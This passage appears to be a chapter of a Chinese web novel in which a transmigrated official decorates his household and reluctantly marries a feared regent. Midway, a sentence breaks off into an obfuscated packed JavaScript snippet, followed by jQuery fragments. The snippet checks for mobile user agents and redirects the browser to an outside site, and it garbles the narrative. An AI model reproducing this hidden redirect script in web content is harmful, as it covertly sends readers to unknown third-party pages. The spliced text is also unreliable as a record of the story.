5. 成家

作品:《你做皇帝救救我吧

    季泽淮恍惚地立在案前,眼神快要把那摞纸戳穿。半晌,大概是站累了,他坐下撑着下巴呆了会,还是觉得自己的九族有必要保下去,翻开册子开始工作。


    但凡做事,他必然是全神贯注,几乎一下午的时光都磨在卷宗上,书上原本挺高一摞书,现在还有浅浅一层。


    他久坐乏累,眼睛也有些酸痛,走到衣架旁,瞪着那件不菲的狐裘,终究还是难以拒绝冬日防寒利器,披上后出去走动。


    推开门,呼吸时白雾肉眼可见,季泽淮又重重吐了一口气,白气很快升腾消散。


    真冷。


    他绕着院墙没走几步,瞧见澈儿在厨嫂身旁比划什么。


    几步走过去,发现二人手里都拿着红纸,神情专注地说话,连季泽淮走近都没发现。


    他伸过头去:“做什么呢?”


    澈儿吓一哆嗦,惊呼道:“公子,你吓我一跳。”


    季泽淮无辜地眨眼,压不住好奇心,说:“给我瞧瞧。”


    厨嫂爽快地笑了笑:“听说大人有婚事,我问澈儿要不要些红喜纸。”她提了提手里的一叠纸,好让季泽淮看清楚。


    红纸卷成筒,被一根红绳系着,季泽淮恍然大悟,调笑道:“哦,澈儿这么细心呢。”


    澈儿昂首挺胸:“那肯定。”


    厨嫂在一旁捧场地笑。


    季泽淮正好无事,说:“我也来贴。”


    二人先是拒绝,生怕主子再着凉生病,但抵不过季泽淮自己坚持,也就让他去了。


    季泽淮一番忙碌,动也动了,身子却半点热气都没燃起来,手漏在外面吹得通红。


    早知道听话待着了,他把手收在袖子里想。


    这样想着,他也这样做了,原先不听劝坚持要弄,现在躲在一边偷懒。


    喜字还没贴完,却也刚好让府里多了些氛围,至少旁人一瞧就知道,哦,这家人有喜事。


    季泽淮站在廊下,终于有了实感,对自己明日就要结婚的事实。


    这种感觉很飘渺虚无,比雪还难以存留。


    自祖父祖母去世后,他独自经营中医馆,但那个城市对他来说,已经没有了意义,似乎是走是留都无所谓。


    因为没了“家”的概念。


    而现在,他穿越才几日,居然要成家了——婚事仓促,不得已而为之。


    风吹过来,一根红绳飘然落在季泽淮脚下,是厨嫂捆纸的绳子。


    才把红绳拿在手里,一阵急切的拍门声响起。


    澈儿赶紧放下手里的物件去开门,季泽淮将红绳随手揣进袖子里,听见薛原辞的声音响起:“季御史在吗,我来找他。”


    “不见,薛侍郎还是快走吧。”季泽淮悠悠走到澈儿身后,回答道。


    薛原辞讨好地笑了下,正要说些什么,澈儿双臂一用力,把原本就开了个缝的门狠狠关上了。


    门外几乎是立刻就传来拍门声,澈儿和季泽淮充耳不闻,默契地扭头离开。


    二人并肩走在院里,澈儿捏紧拳头皱眉道:“还好公子没让他进来。”她语气愤愤,“公子入狱那天我去找薛侍郎,他不仅不帮忙还对公子冷嘲热讽。”


    季泽淮对澈儿的愤怒并不感到惊讶,毕竟那段时间二人走得近,薛原辞那架势恨不得和他拜为表兄弟,一旦利用完就立马把他踹开,是人都会觉得生气。


    正要安抚澈儿的情绪,就见她疾步离开,一声不吭地拿了张红纸。


    她背对着季泽淮站在柱前,打钉子似的把柱子捶得砰砰响。


    季泽淮吓了一跳,急忙走过去看,澈儿眼圈红红的,用拳头在贴纸。


    “再打下去,纸都要嵌进柱子里了。”季泽淮忍俊不禁道。


    澈儿还在捶,只是力道小了很多,不知是手疼了还是真怕把纸打进柱子里,她哽咽一下道:“公子这下没了朋友,又要与摄政王结婚,这可怎么办?”


    季泽淮弯腰也拎了张纸在手里:“对啊,那可怎么办?”


    澈儿咬牙又提了一遍:“摄政王杀人不眨眼,还有时间的,公子我们快跑吧。”


    季泽淮知晓不给这丫头一个她相信的由头,估计要忧愁许久,胡扯道:“其实陆庭知对我一见钟情了。”


    澈儿也不捶柱子了,扭头看着他眼珠子都快瞪出来,季泽淮乘胜追击道:“你看,我都弹劾他了,他还主动来找我,要和我结为夫妻保我性命,除了这个还有什么理由?”


    说完,季泽淮往柱子上一靠,容澈儿好好消化这件事。


    澈儿脸上的表情五彩缤纷,先是惊恐,而后震惊,最后慢慢扬起一个笑,接收到季泽淮坚定点头的动作后,那笑容越来越明媚,简直是雨过晴天,一扫几日忧愁。


    季泽淮看她这模样就知道事成了,放任她独自遐想,一人进屋取暖了。


    第二日,季泽淮被从被子里薅出来时,眼睛还没睁开,几根发丝胡乱地糊在睫毛上。


    屋里一片混乱,他坐在凳子上闭着眼,明明是主角却最格格不入。


    穿过院子吹了阵风,季泽淮的混沌脑海终于拨云见日,得了几分清醒。


    窗棂上红纸猎猎,请来的婶子在一旁说着吉利话,他着合身的大红婚服,一步步走向大门。


    茫然是季泽淮心头最先涌上的情绪。而后是什么?他找不到答案,等坐上轿子才觉或已深陷漩涡。


    季泽淮靠在壁上,身下摇晃动弹,是起轿了。他握紧拳头又松开,看向自己摊开的双手上的纹路。


    三条线在掌心盘旋。


    他盯着看了半晌,随后笑了笑,将手拢起来。


    今日不愁明日事,他也不会算命,看不懂掌心纹路,但凭自心。


    季泽淮想通得很快,烦闷都没涨上来就消了,他揉了揉眼睛,闭上眼歪着头养神。


    过了挺久,他都快睡着,才感觉轿子停下落地。他没受过这方面的指导,见轿子听了,便自己伸手去掀帘子。


    朱红的帷布被掀开一角,季泽淮手背猝不及防触到温热,他抬头望去,透过帘缝和双黑沉的眼睛对上,视线再往下,二人手背相贴。


    季泽淮顿了几秒,正想把手缩回来,陆庭知却反手一把抓住,将他的手整个笼住。


    一冷一热,帘布越掀越开,季泽淮几次抽手都没抽回来,只好瞪着陆庭知——


    松手!


    陆庭知想聋就聋想瞎就瞎,对他的暗示视而不见,手臂发力。


    季泽淮与陆庭知独自相处的时间不长,但快要把“松手”二字说厌了。


    可凭他的力气,是没有资格与陆庭知拔河的,一时没撑住气就被拽了个踉跄。


    实力悬殊,他又怕陆庭知干些更过分的事,只好顺着力道不再反抗。


    旁人婚嫁这一步都是水到渠成,到陆庭知这愣是将人扯出来。


    季泽淮持着假笑,和陆庭知并排走。


    那只手从下轿时就一直被牵着,未曾放开,他不知道陆庭知发什么疯,觉得别扭。


    几次抽手都没成功,后来每抽一次,陆庭知就用劲捏他的手一次,季泽淮为避痛,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187528|197029||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    索性也随便了。


    说是结婚,实则宾客寥寥无几,季泽淮对着空空如也的主位拜礼,在心里默念:对不起祖父祖母,我和一个没见过几面的男人结婚了。


    拜完堂,季泽淮被拉着走入院子,他瞧着四下无人,转动手腕低声道:“可以松手了吗?”


    陆庭知不为所动,捏他的力气比前几次都重:“王妃手太凉了,捂一捂较好。”


    季泽淮“嘶”了一声,连称呼都没管,下意识拍始作俑者的手背,他没收着力道在陆庭知手上落下个红印。


    陆庭知斜看了他一眼,嘴角要笑不笑的。


    季泽淮:“……”


    也不能怪他,干什么非要拉手。


    闹这一出,就算陆庭知没生气,季泽淮也不想乱动了。


    “王爷,宫里来人了,说是皇上赏了东西,在外面候着呢。”季泽淮听到声音刚想转身,就被陆庭知按着脖子转回来。


    “王妃不知道今日不能走回头路?”


    “不知。”季泽淮眼里露了些得意,晃了晃两人交合的手,“那总不能冷着皇上,王爷自个去领?”


    陆庭知垂眸和他对视,低笑一声:“礼数不可废,让公公再等些时辰。”


    季泽淮默默鄙视,心说知什么礼数?敢让皇上等一等全天下也就你一个了。


    一路上打了不少岔,终于走到门前,还没等季泽淮开口提醒,手便被放下了。


    袖子下他悄悄握拳,确实暖了不少,指缝甚至出了点汗。


    他推开门,念在陆庭知当了一路暖手捂的份上,客气了句:“王爷去罢。”


    陆庭知还真应了声离开。


    屋里暖意融融,桌上两个杯子,清白的液体荡漾,搅碎了季泽淮的倒影。


    他端起杯子在手里转了一圈,知晓这大概是交杯酒。


    鼻尖轻嗤,他想起陆庭知在路上的话,哪儿来的礼数周全。


    八面玲珑,见人说人话,见鬼说鬼话。


    真是难搞。


    他放下杯子,坐在凳子上等了会,陆庭知却一去不复返,四下更是连个人影也见不着。


    酒杯旁摆着盘点心,季泽淮等饿了,塞了一块在嘴里,正吃着,门被敲响。


    他含糊道:“进来。”


    来人是借月,季泽淮记得他,问:“怎么了?”


    借月行礼道:“王爷进宫处理事情去了。”他捧着个红盒,“这是皇上单独赏赐给王妃的。”


    季泽淮朝他勾手,借月将盒子送到手里。他指尖微拨扣锁,将盖子掀开。


    红枣莲子之类的果子挤做一堆,在盒子里晃荡。


    皇上这还在帮陆庭知出气呢。


    季泽淮笑了声,捡粒花生扔到嘴里“嘎嘣嘎嘣”嚼了。


    借月离得近,盒里的东西一览无余,他先看了眼自家王妃如常的神情,才舒了口气道:“王妃别在意。”


    “有什么好在意的。”季泽淮又往嘴里填了几颗莲子,还挺香。


    他问:“你娶妻了吗?”


    借月愣了下,道:“并无。”


    “伸手。”


    借月顺从地伸手。


    季泽淮从盒里抓了一大把果子放在他手里,怕他不要,还语重心长地说:“分你点吃,皇上给的,这可是外面求不到的好寓意。”


    “……”


    借月无言地盯着手里的莲子,最终还是屈服在季泽淮的目光下。


    两个男人,一站一坐,在婚房里吃莲子大红枣,画面说不出来的诡异。